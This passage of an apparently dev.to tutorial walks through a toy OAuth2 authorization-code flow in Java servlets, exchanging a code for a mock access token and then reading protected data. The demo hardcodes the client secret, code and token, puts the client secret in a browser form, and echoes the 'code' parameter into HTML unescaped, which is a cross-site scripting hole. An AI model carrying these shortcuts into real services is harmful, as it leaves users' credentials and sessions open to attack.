        &lt;span class="o"&gt;}&lt;/span&gt; &lt;span class="k"&gt;else&lt;/span&gt; &lt;span class="o"&gt;{&lt;/span&gt;
            &lt;span class="n"&gt;resp&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;getWriter&lt;/span&gt;&lt;span class="o"&gt;().&lt;/span&gt;&lt;span class="na"&gt;write&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="s"&gt;"Invalid login"&lt;/span&gt;&lt;span class="o"&gt;);&lt;/span&gt;
        &lt;span class="o"&gt;}&lt;/span&gt;
    &lt;span class="o"&gt;}&lt;/span&gt;
&lt;span class="o"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;👉 Output:&lt;/p&gt;

&lt;p&gt;Success → ?code=abc123&lt;br&gt;
Failure → ?error=access_denied&lt;/p&gt;

&lt;p&gt;🟢 Step 3: /callback → Client Receives Code&lt;/p&gt;

&lt;p&gt;CallbackServlet.java&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight java"&gt;&lt;code&gt;&lt;span class="kn"&gt;package&lt;/span&gt; &lt;span class="nn"&gt;com.oauth.demo&lt;/span&gt;&lt;span class="o"&gt;;&lt;/span&gt;

&lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="nn"&gt;jakarta.servlet.ServletException&lt;/span&gt;&lt;span class="o"&gt;;&lt;/span&gt;
&lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="nn"&gt;jakarta.servlet.annotation.WebServlet&lt;/span&gt;&lt;span class="o"&gt;;&lt;/span&gt;
&lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="nn"&gt;jakarta.servlet.http.HttpServlet&lt;/span&gt;&lt;span class="o"&gt;;&lt;/span&gt;
&lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="nn"&gt;jakarta.servlet.http.HttpServletRequest&lt;/span&gt;&lt;span class="o"&gt;;&lt;/span&gt;
&lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="nn"&gt;jakarta.servlet.http.HttpServletResponse&lt;/span&gt;&lt;span class="o"&gt;;&lt;/span&gt;
&lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="nn"&gt;java.io.IOException&lt;/span&gt;&lt;span class="o"&gt;;&lt;/span&gt;

&lt;span class="cm"&gt;/**
 * Servlet implementation class CallbackServlet
 */&lt;/span&gt;
&lt;span class="nd"&gt;@WebServlet&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="s"&gt;"/callback"&lt;/span&gt;&lt;span class="o"&gt;)&lt;/span&gt;
&lt;span class="kd"&gt;public&lt;/span&gt; &lt;span class="kd"&gt;class&lt;/span&gt; &lt;span class="nc"&gt;CallbackServlet&lt;/span&gt; &lt;span class="kd"&gt;extends&lt;/span&gt; &lt;span class="nc"&gt;HttpServlet&lt;/span&gt; &lt;span class="o"&gt;{&lt;/span&gt;

    &lt;span class="kd"&gt;protected&lt;/span&gt; &lt;span class="kt"&gt;void&lt;/span&gt; &lt;span class="nf"&gt;doGet&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="nc"&gt;HttpServletRequest&lt;/span&gt; &lt;span class="n"&gt;req&lt;/span&gt;&lt;span class="o"&gt;,&lt;/span&gt; &lt;span class="nc"&gt;HttpServletResponse&lt;/span&gt; &lt;span class="n"&gt;resp&lt;/span&gt;&lt;span class="o"&gt;)&lt;/span&gt; &lt;span class="kd"&gt;throws&lt;/span&gt; &lt;span class="nc"&gt;IOException&lt;/span&gt; &lt;span class="o"&gt;{&lt;/span&gt;

        &lt;span class="nc"&gt;String&lt;/span&gt; &lt;span class="n"&gt;code&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;req&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;getParameter&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="s"&gt;"code"&lt;/span&gt;&lt;span class="o"&gt;);&lt;/span&gt;

        &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="n"&gt;code&lt;/span&gt; &lt;span class="o"&gt;==&lt;/span&gt; &lt;span class="kc"&gt;null&lt;/span&gt;&lt;span class="o"&gt;)&lt;/span&gt; &lt;span class="o"&gt;{&lt;/span&gt;
            &lt;span class="n"&gt;resp&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;getWriter&lt;/span&gt;&lt;span class="o"&gt;().&lt;/span&gt;&lt;span class="na"&gt;write&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="s"&gt;"Authorization failed"&lt;/span&gt;&lt;span class="o"&gt;);&lt;/span&gt;
            &lt;span class="k"&gt;return&lt;/span&gt;&lt;span class="o"&gt;;&lt;/span&gt;
        &lt;span class="o"&gt;}&lt;/span&gt;
        &lt;span class="n"&gt;resp&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;setContentType&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="s"&gt;"text/html"&lt;/span&gt;&lt;span class="o"&gt;);&lt;/span&gt;
        &lt;span class="n"&gt;resp&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;getWriter&lt;/span&gt;&lt;span class="o"&gt;().&lt;/span&gt;&lt;span class="na"&gt;write&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;
            &lt;span class="s"&gt;"&amp;lt;h3&amp;gt;Authorization Code: "&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="n"&gt;code&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="s"&gt;"&amp;lt;/h3&amp;gt;"&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt;
            &lt;span class="s"&gt;"&amp;lt;a href='/oauth/getToken?code="&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="n"&gt;code&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="s"&gt;"'&amp;gt;Get Access Token&amp;lt;/a&amp;gt;"&lt;/span&gt;
        &lt;span class="o"&gt;);&lt;/span&gt;
    &lt;span class="o"&gt;}&lt;/span&gt;
&lt;span class="o"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;👉 This is the authorization code, a temporary credential.&lt;/p&gt;

&lt;p&gt;🟢 Step 4: /getToken → Prepare Token Request&lt;/p&gt;

&lt;p&gt;GetTokenServlet.java&lt;/p&gt;

&lt;p&gt;Creates a form to call /token:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight java"&gt;&lt;code&gt;&lt;span class="kn"&gt;package&lt;/span&gt; &lt;span class="nn"&gt;com.oauth.demo&lt;/span&gt;&lt;span class="o"&gt;;&lt;/span&gt;

&lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="nn"&gt;jakarta.servlet.ServletException&lt;/span&gt;&lt;span class="o"&gt;;&lt;/span&gt;
&lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="nn"&gt;jakarta.servlet.annotation.WebServlet&lt;/span&gt;&lt;span class="o"&gt;;&lt;/span&gt;
&lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="nn"&gt;jakarta.servlet.http.HttpServlet&lt;/span&gt;&lt;span class="o"&gt;;&lt;/span&gt;
&lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="nn"&gt;jakarta.servlet.http.HttpServletRequest&lt;/span&gt;&lt;span class="o"&gt;;&lt;/span&gt;
&lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="nn"&gt;jakarta.servlet.http.HttpServletResponse&lt;/span&gt;&lt;span class="o"&gt;;&lt;/span&gt;
&lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="nn"&gt;java.io.IOException&lt;/span&gt;&lt;span class="o"&gt;;&lt;/span&gt;

&lt;span class="cm"&gt;/**
 * Servlet implementation class GetTokenServlet
 */&lt;/span&gt;
&lt;span class="nd"&gt;@WebServlet&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="s"&gt;"/getToken"&lt;/span&gt;&lt;span class="o"&gt;)&lt;/span&gt;
&lt;span class="kd"&gt;public&lt;/span&gt; &lt;span class="kd"&gt;class&lt;/span&gt; &lt;span class="nc"&gt;GetTokenServlet&lt;/span&gt; &lt;span class="kd"&gt;extends&lt;/span&gt; &lt;span class="nc"&gt;HttpServlet&lt;/span&gt; &lt;span class="o"&gt;{&lt;/span&gt;

    &lt;span class="kd"&gt;protected&lt;/span&gt; &lt;span class="kt"&gt;void&lt;/span&gt; &lt;span class="nf"&gt;doGet&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="nc"&gt;HttpServletRequest&lt;/span&gt; &lt;span class="n"&gt;req&lt;/span&gt;&lt;span class="o"&gt;,&lt;/span&gt; &lt;span class="nc"&gt;HttpServletResponse&lt;/span&gt; &lt;span class="n"&gt;resp&lt;/span&gt;&lt;span class="o"&gt;)&lt;/span&gt; &lt;span class="kd"&gt;throws&lt;/span&gt; &lt;span class="nc"&gt;IOException&lt;/span&gt; &lt;span class="o"&gt;{&lt;/span&gt;

        &lt;span class="nc"&gt;String&lt;/span&gt; &lt;span class="n"&gt;code&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;req&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;getParameter&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="s"&gt;"code"&lt;/span&gt;&lt;span class="o"&gt;);&lt;/span&gt;
        &lt;span class="n"&gt;resp&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;setContentType&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="s"&gt;"text/html"&lt;/span&gt;&lt;span class="o"&gt;);&lt;/span&gt;
        &lt;span class="n"&gt;resp&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;getWriter&lt;/span&gt;&lt;span class="o"&gt;().&lt;/span&gt;&lt;span class="na"&gt;write&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;
            &lt;span class="s"&gt;"&amp;lt;form method='post' action='/oauth/token'&amp;gt;"&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt;
            &lt;span class="s"&gt;"&amp;lt;input name='code' value='"&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="n"&gt;code&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="s"&gt;"'/&amp;gt;&amp;lt;br/&amp;gt;"&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt;
            &lt;span class="s"&gt;"&amp;lt;input name='client_id' value='test'/&amp;gt;&amp;lt;br/&amp;gt;"&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt;
            &lt;span class="s"&gt;"&amp;lt;input name='client_secret' value='secret123'/&amp;gt;&amp;lt;br/&amp;gt;"&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt;
            &lt;span class="s"&gt;"&amp;lt;button type='submit'&amp;gt;Exchange Code for Token&amp;lt;/button&amp;gt;"&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt;
            &lt;span class="s"&gt;"&amp;lt;/form&amp;gt;"&lt;/span&gt;
        &lt;span class="o"&gt;);&lt;/span&gt;
    &lt;span class="o"&gt;}&lt;/span&gt;
&lt;span class="o"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;👉 In real systems, this happens server-to-server, not via UI.&lt;/p&gt;

&lt;p&gt;🟢 Step 5: /token → Exchange Code for Token&lt;/p&gt;

&lt;p&gt;TokenServlet.java&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight java"&gt;&lt;code&gt;&lt;span class="kn"&gt;package&lt;/span&gt; &lt;span class="nn"&gt;com.oauth.demo&lt;/span&gt;&lt;span class="o"&gt;;&lt;/span&gt;

&lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="nn"&gt;jakarta.servlet.ServletException&lt;/span&gt;&lt;span class="o"&gt;;&lt;/span&gt;
&lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="nn"&gt;jakarta.servlet.annotation.WebServlet&lt;/span&gt;&lt;span class="o"&gt;;&lt;/span&gt;
&lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="nn"&gt;jakarta.servlet.http.HttpServlet&lt;/span&gt;&lt;span class="o"&gt;;&lt;/span&gt;
&lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="nn"&gt;jakarta.servlet.http.HttpServletRequest&lt;/span&gt;&lt;span class="o"&gt;;&lt;/span&gt;
&lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="nn"&gt;jakarta.servlet.http.HttpServletResponse&lt;/span&gt;&lt;span class="o"&gt;;&lt;/span&gt;
&lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="nn"&gt;java.io.IOException&lt;/span&gt;&lt;span class="o"&gt;;&lt;/span&gt;

&lt;span class="cm"&gt;/**
 * Servlet implementation class TokenServlet
 */&lt;/span&gt;
&lt;span class="nd"&gt;@WebServlet&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="s"&gt;"/token"&lt;/span&gt;&lt;span class="o"&gt;)&lt;/span&gt;
&lt;span class="kd"&gt;public&lt;/span&gt; &lt;span class="kd"&gt;class&lt;/span&gt; &lt;span class="nc"&gt;TokenServlet&lt;/span&gt; &lt;span class="kd"&gt;extends&lt;/span&gt; &lt;span class="nc"&gt;HttpServlet&lt;/span&gt; &lt;span class="o"&gt;{&lt;/span&gt;

    &lt;span class="kd"&gt;protected&lt;/span&gt; &lt;span class="kt"&gt;void&lt;/span&gt; &lt;span class="nf"&gt;doPost&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="nc"&gt;HttpServletRequest&lt;/span&gt; &lt;span class="n"&gt;req&lt;/span&gt;&lt;span class="o"&gt;,&lt;/span&gt; &lt;span class="nc"&gt;HttpServletResponse&lt;/span&gt; &lt;span class="n"&gt;resp&lt;/span&gt;&lt;span class="o"&gt;)&lt;/span&gt; &lt;span class="kd"&gt;throws&lt;/span&gt; &lt;span class="nc"&gt;IOException&lt;/span&gt; &lt;span class="o"&gt;{&lt;/span&gt;

        &lt;span class="nc"&gt;String&lt;/span&gt; &lt;span class="n"&gt;clientId&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;req&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;getParameter&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="s"&gt;"client_id"&lt;/span&gt;&lt;span class="o"&gt;);&lt;/span&gt;
        &lt;span class="nc"&gt;String&lt;/span&gt; &lt;span class="n"&gt;clientSecret&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;req&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;getParameter&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="s"&gt;"client_secret"&lt;/span&gt;&lt;span class="o"&gt;);&lt;/span&gt;

        &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="o"&gt;(!&lt;/span&gt;&lt;span class="s"&gt;"test"&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;equals&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="n"&gt;clientId&lt;/span&gt;&lt;span class="o"&gt;)&lt;/span&gt; &lt;span class="o"&gt;||&lt;/span&gt; &lt;span class="o"&gt;!&lt;/span&gt;&lt;span class="s"&gt;"secret123"&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;equals&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="n"&gt;clientSecret&lt;/span&gt;&lt;span class="o"&gt;))&lt;/span&gt; &lt;span class="o"&gt;{&lt;/span&gt;
            &lt;span class="n"&gt;resp&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;setStatus&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;401&lt;/span&gt;&lt;span class="o"&gt;);&lt;/span&gt;
            &lt;span class="n"&gt;resp&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;getWriter&lt;/span&gt;&lt;span class="o"&gt;().&lt;/span&gt;&lt;span class="na"&gt;write&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="s"&gt;"Invalid client"&lt;/span&gt;&lt;span class="o"&gt;);&lt;/span&gt;
            &lt;span class="k"&gt;return&lt;/span&gt;&lt;span class="o"&gt;;&lt;/span&gt;
        &lt;span class="o"&gt;}&lt;/span&gt;


        &lt;span class="nc"&gt;String&lt;/span&gt; &lt;span class="n"&gt;code&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;req&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;getParameter&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="s"&gt;"code"&lt;/span&gt;&lt;span class="o"&gt;);&lt;/span&gt;

        &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="o"&gt;(!&lt;/span&gt;&lt;span class="s"&gt;"abc123"&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;equals&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="n"&gt;code&lt;/span&gt;&lt;span class="o"&gt;))&lt;/span&gt; &lt;span class="o"&gt;{&lt;/span&gt;
            &lt;span class="n"&gt;resp&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;setStatus&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;400&lt;/span&gt;&lt;span class="o"&gt;);&lt;/span&gt;
            &lt;span class="n"&gt;resp&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;getWriter&lt;/span&gt;&lt;span class="o"&gt;().&lt;/span&gt;&lt;span class="na"&gt;write&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="s"&gt;"Invalid code"&lt;/span&gt;&lt;span class="o"&gt;);&lt;/span&gt;
            &lt;span class="k"&gt;return&lt;/span&gt;&lt;span class="o"&gt;;&lt;/span&gt;
        &lt;span class="o"&gt;}&lt;/span&gt;

        &lt;span class="c1"&gt;// Simple JWT-like token (replace with real JWT later)&lt;/span&gt;
        &lt;span class="nc"&gt;String&lt;/span&gt; &lt;span class="n"&gt;token&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="s"&gt;"header.payload.signature"&lt;/span&gt;&lt;span class="o"&gt;;&lt;/span&gt;

        &lt;span class="n"&gt;resp&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;setContentType&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="s"&gt;"application/json"&lt;/span&gt;&lt;span class="o"&gt;);&lt;/span&gt;
        &lt;span class="n"&gt;resp&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;getWriter&lt;/span&gt;&lt;span class="o"&gt;().&lt;/span&gt;&lt;span class="na"&gt;write&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="s"&gt;"{\"access_token\":\""&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="n"&gt;token&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="s"&gt;"\"}"&lt;/span&gt;&lt;span class="o"&gt;);&lt;/span&gt;
    &lt;span class="o"&gt;}&lt;/span&gt;
&lt;span class="o"&gt;}&lt;/span&gt;

&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Returns:&lt;br&gt;
{&lt;br&gt;
  "access_token": "header.payload.signature"&lt;br&gt;
}&lt;br&gt;
👉 This is the Access Token&lt;/p&gt;

&lt;p&gt;🟢 Step 6: /data → Access Protected Resource&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight java"&gt;&lt;code&gt;&lt;span class="nc"&gt;DataServlet&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;java&lt;/span&gt;
&lt;span class="kn"&gt;package&lt;/span&gt; &lt;span class="nn"&gt;com.oauth.demo&lt;/span&gt;&lt;span class="o"&gt;;&lt;/span&gt;

&lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="nn"&gt;jakarta.servlet.ServletException&lt;/span&gt;&lt;span class="o"&gt;;&lt;/span&gt;
&lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="nn"&gt;jakarta.servlet.annotation.WebServlet&lt;/span&gt;&lt;span class="o"&gt;;&lt;/span&gt;
&lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="nn"&gt;jakarta.servlet.http.HttpServlet&lt;/span&gt;&lt;span class="o"&gt;;&lt;/span&gt;
&lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="nn"&gt;jakarta.servlet.http.HttpServletRequest&lt;/span&gt;&lt;span class="o"&gt;;&lt;/span&gt;
&lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="nn"&gt;jakarta.servlet.http.HttpServletResponse&lt;/span&gt;&lt;span class="o"&gt;;&lt;/span&gt;
&lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="nn"&gt;java.io.IOException&lt;/span&gt;&lt;span class="o"&gt;;&lt;/span&gt;

&lt;span class="cm"&gt;/**
 * Servlet implementation class DataServlet
 */&lt;/span&gt;
&lt;span class="nd"&gt;@WebServlet&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="s"&gt;"/data"&lt;/span&gt;&lt;span class="o"&gt;)&lt;/span&gt;
&lt;span class="kd"&gt;public&lt;/span&gt; &lt;span class="kd"&gt;class&lt;/span&gt; &lt;span class="nc"&gt;DataServlet&lt;/span&gt; &lt;span class="kd"&gt;extends&lt;/span&gt; &lt;span class="nc"&gt;HttpServlet&lt;/span&gt; &lt;span class="o"&gt;{&lt;/span&gt;

    &lt;span class="kd"&gt;protected&lt;/span&gt; &lt;span class="kt"&gt;void&lt;/span&gt; &lt;span class="nf"&gt;doGet&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="nc"&gt;HttpServletRequest&lt;/span&gt; &lt;span class="n"&gt;req&lt;/span&gt;&lt;span class="o"&gt;,&lt;/span&gt; &lt;span class="nc"&gt;HttpServletResponse&lt;/span&gt; &lt;span class="n"&gt;resp&lt;/span&gt;&lt;span class="o"&gt;)&lt;/span&gt; &lt;span class="kd"&gt;throws&lt;/span&gt; &lt;span class="nc"&gt;IOException&lt;/span&gt; &lt;span class="o"&gt;{&lt;/span&gt;

        &lt;span class="nc"&gt;String&lt;/span&gt; &lt;span class="n"&gt;auth&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;req&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;getHeader&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="s"&gt;"Authorization"&lt;/span&gt;&lt;span class="o"&gt;);&lt;/span&gt;

        &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="n"&gt;auth&lt;/span&gt; &lt;span class="o"&gt;==&lt;/span&gt; &lt;span class="kc"&gt;null&lt;/span&gt; &lt;span class="o"&gt;||&lt;/span&gt; &lt;span class="o"&gt;!&lt;/span&gt;&lt;span class="n"&gt;auth&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;startsWith&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="s"&gt;"Bearer "&lt;/span&gt;&lt;span class="o"&gt;))&lt;/span&gt; &lt;span class="o"&gt;{&lt;/span&gt;
            &lt;span class="n"&gt;resp&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;setStatus&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;401&lt;/span&gt;&lt;span class="o"&gt;);&lt;/span&gt;
            &lt;span class="n"&gt;resp&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;getWriter&lt;/span&gt;&lt;span class="o"&gt;().&lt;/span&gt;&lt;span class="na"&gt;write&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="s"&gt;"Unauthorized"&lt;/span&gt;&lt;span class="o"&gt;);&lt;/span&gt;
            &lt;span class="k"&gt;return&lt;/span&gt;&lt;span class="o"&gt;;&lt;/span&gt;
        &lt;span class="o"&gt;}&lt;/span&gt;

        &lt;span class="nc"&gt;String&lt;/span&gt; &lt;span class="n"&gt;token&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;auth&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;substring&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;7&lt;/span&gt;&lt;span class="o"&gt;);&lt;/span&gt;

        &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="o"&gt;(!&lt;/span&gt;&lt;span class="s"&gt;"header.payload.signature"&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;equals&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="n"&gt;token&lt;/span&gt;&lt;span class="o"&gt;))&lt;/span&gt; &lt;span class="o"&gt;{&lt;/span&gt;
            &lt;span class="n"&gt;resp&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;setStatus&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;403&lt;/span&gt;&lt;span class="o"&gt;);&lt;/span&gt;
            &lt;span class="n"&gt;resp&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;getWriter&lt;/span&gt;&lt;span class="o"&gt;().&lt;/span&gt;&lt;span class="na"&gt;write&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="s"&gt;"Invalid token"&lt;/span&gt;&lt;span class="o"&gt;);&lt;/span&gt;
            &lt;span class="k"&gt;return&lt;/span&gt;&lt;span class="o"&gt;;&lt;/span&gt;
        &lt;span class="o"&gt;}&lt;/span&gt;

        &lt;span class="n"&gt;resp&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;getWriter&lt;/span&gt;&lt;span class="o"&gt;().&lt;/span&gt;&lt;span class="na"&gt;write&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="s"&gt;"Secure Data for user: admin"&lt;/span&gt;&lt;span class="o"&gt;);&lt;/span&gt;
    &lt;span class="o"&gt;}&lt;/span&gt;
&lt;span class="o"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;👉 Client must call:&lt;br&gt;
Authorization: Bearer header.payload.signature&lt;/p&gt;

&lt;p&gt;If valid:&lt;br&gt;
Secure Data for user: admin&lt;/p&gt;

&lt;h3&gt;
  
  
  🔷 What is the Access Token in this Demo?
&lt;/h3&gt;

&lt;p&gt;In OAuth2, the access token is just a string. The specification does not enforce any particular format.&lt;/p&gt;

&lt;p&gt;However, in most real-world systems, the access token is implemented as a JWT (JSON Web Token).&lt;/p&gt;

&lt;p&gt;In this demo, we return a simplified token:&lt;/p&gt;

&lt;p&gt;header.payload.signature&lt;/p&gt;

&lt;p&gt;This mimics the structure of a JWT.&lt;/p&gt;

&lt;p&gt;👉 For a detailed explanation of how JWT works (structure, signing, validation), you can refer to my earlier article:&lt;/p&gt;

&lt;p&gt;Understanding JWT Authentication in Java with Encryption and Decryption&lt;br&gt;
(&lt;a href="https://dev.to/sanjayghosh/understanding-jwt-authentication-in-java-with-encryption-and-decryption-2ig7"&gt;https://dev.to/sanjayghosh/understanding-jwt-authentication-in-java-with-encryption-and-decryption-2ig7&lt;/a&gt;)&lt;/p&gt;

&lt;p&gt;In a production system:&lt;/p&gt;

&lt;p&gt;The Authorization Server generates a signed JWT&lt;br&gt;
The Resource Server validates the JWT before granting access&lt;/p&gt;

&lt;p&gt;This bridges the gap between OAuth2 (authorization framework) and JWT (token format).&lt;/p&gt;

&lt;h3&gt;
  
  
  🔷 Why This Flow Exists
&lt;/h3&gt;

&lt;p&gt;Why not just send username/password to the client?&lt;br&gt;
Because:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Security risks ❌&lt;/li&gt;
&lt;li&gt;Third-party access problems ❌&lt;/li&gt;
